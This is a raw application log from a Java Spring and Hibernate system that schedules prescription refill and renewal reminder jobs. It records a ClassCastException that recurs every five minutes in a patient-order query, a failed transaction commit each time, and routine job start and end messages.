2024-02-26 11:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 11:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 11:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 11:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 11:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 11:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 11:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 11:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 11:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 11:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 11:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 11:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 11:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 11:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 11:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 11:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 11:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 11:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 11:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 11:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 11:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 11:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 11:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 11:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 11:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 11:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 11:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at 